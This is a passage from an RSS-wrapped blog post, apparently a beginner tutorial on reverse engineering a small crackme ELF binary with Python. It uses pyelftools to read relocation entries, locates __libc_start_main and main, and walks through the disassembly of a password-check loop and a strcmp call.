us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p> <p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p> <blockquote> <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p> </blockquote> <p>To try and find these relocation entries, we write a third script.</p> <div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span> <span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span> <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span> <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span> <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span> <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span> <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span> <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span> <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span> </code></pre></div> <p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p> <div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span> <span class="go">.rela.dyn:</span> <span class="go"> 0x200d98</span> <span class="go"> 0x200da0</span> <span class="go"> 0x201008</span> <span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span> <span class="go">**__libc_start_main 0x200fe0**</span> <span class="go">__gmon_start__ 0x200fe8</span> <span class="go">_ITM_registerTMCloneTable 0x200ff0</span> <span class="go">__cxa_finalize 0x200ff8</span> <span class="go">stdin 0x201010</span> <span class="go">.rela.plt:</span> <span class="go">puts 0x200fb0</span> <span class="go">printf 0x200fb8</span> <span class="go">fgets 0x200fc0</span> <span class="go">strcmp 0x200fc8</span> <span class="go">malloc 0x200fd0</span> </code></pre></div> <p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p> <blockquote> <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p> </blockquote> <p>And its definition is like so</p> <div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> <span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> <span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span> </code></pre></div> <p>Looking back at our disassembly</p> <pre><code>0x6a0: xor ebp, ebp 0x6a2: mov r9, rdx 0x6a5: pop rsi 0x6a6: mov rdx, rsp 0x6a9: and rsp, 0xfffffffffffffff0 0x6ad: push rax 0x6ae: push rsp 0x6af: lea r8, [rip + 0x23a] 0x6b6: lea rcx, [rip + 0x1c3] **0x6bd: lea rdi, [rip + 0xe6]** 0x6c4: call qword ptr [rip + 0x200916] 0x6ca: hlt ... snip ... </code></pre> <p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p> <p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p> <p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p> <p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p> <pre><code>printf 0x650 fgets 0x660 strcmp 0x670 malloc 0x680 </code></pre> <p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p> <pre><code>0x7b2: mov edi, 0xa ; 10 0x7b7: call 0x680 ; malloc </code></pre> <p>The loop to populate the <code>*pw</code> string</p> <pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14] 0x7d3: cdqe 0x7d5: lea rdx, [rax - 1] 0x7d9: mov rax, qword ptr [rbp - 0x10] 0x7dd: add rax, rdx 0x7e0: movzx eax, byte ptr [rax] 0x7e3: lea ecx, [rax + 1] 0x7e6: mov eax, dword ptr [rbp - 0x14] 0x7e9: movsxd rdx, eax 0x7ec: mov rax, qword ptr [rbp - 0x10] 0x7f0: add rax, rdx 0x7f3: mov edx, ecx 0x7f5: mov byte ptr [rax], dl 0x7f7: add dword ptr [rbp - 0x14], 1 0x7fb: cmp dword ptr [rbp - 0x14], 8 0x7ff: jle 0x7d0 </code></pre> <p>And this looks like our <code>strcmp()</code></p> <pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in 0x847: mov rax, qword ptr [rbp - 8] ; *pw 0x84b: mov rsi, rdx 0x84e: mov rdi, rax 0x851: call 0x670 ; strcmp 0x856: test eax, eax ; is = 0? 0x858: jne 0x868 ; no? jump to 0x868 0x85a: lea rdi, [rip + 0xae] ; "haha yes!" 0x861: call 0x640 ; puts 0x866: jmp 0x874 0x868: lea rdi, [rip + 0xaa] ; "nah dude" 0x86f: call 0x640 ; puts </code></pre> <p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p> <p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p> <h3 id="conclusion">Conclusion</h3> <p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p> <p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p> <p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p> ]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel> </rss> |